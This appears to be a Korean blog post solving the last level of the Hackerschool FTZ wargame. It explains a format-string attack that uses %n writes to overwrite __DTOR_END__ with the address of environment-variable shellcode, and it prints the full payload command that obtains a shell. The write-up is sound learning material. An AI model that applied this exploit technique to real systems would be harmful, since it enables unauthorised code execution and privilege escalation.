티스토리 뷰

[Hackerschool] F.T.Z

해커스쿨 - level20

lHATAl 2017. 11. 17. 19:24

level20이 마지막이다.


힌트를 확인해보도록 하자.



fgets 함수를 사용하여 입력문자 제한을 두었다. 따라서 버퍼 오버플로우 공격은 힘들거라 예상할 수 있겠다. 하지만 printf 함수에서 서식문자를 사용하지 않고 바로 출력하였기 때문에 bleh 변수를 이용하여 포맷스트링 공격을 할 수 있을 것으로 예상이 된다.


서식문자를 사용하지 않고 직접 출력을 하게 된다면, 만약 bleh 변수에 서식문자를 입력하였을 경우 esp부터 요구되는 사이즈만큼 자동으로 참조를 하면서 메모리를 참조할 수 있게된다.


%x는 4바이트씩 참조하기 때문에 4바이트 단위로 이동할 수 있는 수단이 된다.


%n이라는 서식문자는 printf에서 출력된만큼 10진수로 저장하는 서식문자이다. 이 서식문자를 통해서 메모리에 RET주소를 쉘코드의 주소값으로 수정해야 한다.


우선 RET 주소를 구하자. RET 주소는 .dtors의 __DTOR_END__ 심볼을 나타내는데 이를 알기 위해서는 


objdump -h /home/level20/attackme | grep .dtors 로 알 수 있다.




다음중 2번째 주소가 __DTOR_LIST__를 나타내고 __DTOR_END__는 4바이트만큼 떨어진 0x08049598에 위치하게 된다.


해당 공간에 쉘코드가 있는 주소를 입력하면 된다.


shellcode는 환경변수를 설정해주는 export 명령어로 설정을 해주었다.


그리고 attackme 프로그램내에서 shellcode의 주소를 알기위해 level19에서 사용하였던 주소 불러오기 프로그램을 사용하여 주소를 확인하였다.




이제 쉘코드가 있는 주소를 %n을 사용하여 메모리에 적게되면 성공이다.


하지만 여기서 문제가 생기는데 해당 값은 10진수 정수형으로 표현할 수 없는 범위의 주소값이기 때문이다. 따라서 이에 대한 해결법으로는 반으로 나누어서 __DTOR_END__의 처음에 반을 입력하고 __DTOR_END__에서 2바이트만큼 떨어진 곳에 나머지 반을 입력하는 것이다.  다음을 명령어로 정리하면


(python -c 'print "AAAA[__DTOR_END__첫주소]AAAA[__DTOR_END__+2bytes]%8x%8x%8x%쉘코드뒤4바이트(10진수)c%n%쉘코드앞4바이트-쉘코드뒤4바이트(10진수)c%n"';cat) | /home/level20/attackme


로 정리할 수 있다. 이제 10진수로 변환하기 위해 부가적으로 필요한 계산법을 알아야 한다.


우선 해당 시스템은 리틀엔디안이기 때문에 역순으로 적어야 하므로 0xbffffc6c의 뒷 부분인 fc6c에 대해서 입력을 해야한다. 하지만 %n은 그동안 적어온 내용들을 전부 메모리에 기록하는 것이므로 앞서 적었던 값들에 대해서 고려를 하여 최종적으로 fc6c가 입력 되도록 해야한다. fc6c이전에 입력한 값들은 총 40바이트로 이들을 빼주고 10진수로 표현하면


64620(fc6c) - 40 = 64580이 된다.


그리고 나머지 절반에 대해서 입력을 해주어야 하는데 나머지 절반의 경우에는 반으로 나눈 앞부분을 뒷부분으로 빼주어야 한다. 


이대 bfff는 fc6c보다 낮은 값이기 때문에 음수가 나오게 되는데 2의 보수를 사용하여 1bfff-fc6c로 변경한 다음 계산을 한다.



114687(1bfff) - 64620(fc6c) = 50067이 된다. 


모든 계산 결과와 __DTOR_END__ 주소를 정리하여 명령어에 대입하면


(python -c 'print "\x98\x95\x04\x08\x98\x95\x04\x08\x9a\x95\x04\x08\x9a\x95\x04\x08%8x%8x%8x%64580c%n%50067c%n"';cat) | /home/level20/attackme


다음과 같은 명령어가 완성된다.


해당 명령어를 입력하게 되면 수많은 공백을 거친 뒤 clear 쉘을 취득하게 되고 최종 등록을 할 수 있는 패스워드를 획득하게 된다.





맨 아래에 명예의 전당에 등록하였다.


명예의 전당이 있는 것을 뒤늦게 알아 한꺼번에 적어서 시작한 날짜가 정확히 기입이 안된게 아쉽다.


레벨20까지 풀면서 전혀 몰랐던 새로운 기술들도 알게 되었고 다시 레벨1부터 접근하게 되면 전혀 다른 시선으로 문제를 바라볼 수 있을 것 같다.


앞으로도 다른 워게임에 도전할 것이고 해당 문제들에 대해서 조금 더 체계적이고 자세한 공부가 필요할 것 같다.

'[Hackerschool] F.T.Z' 카테고리의 다른 글

해커스쿨 - level19  (0) 2017.11.17
해커스쿨 - level18  (0) 2017.11.16
해커스쿨 - level17  (0) 2017.11.16
해커스쿨 - level16  (0) 2017.11.16
해커스쿨 - level15  (0) 2017.11.16
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
글 보관함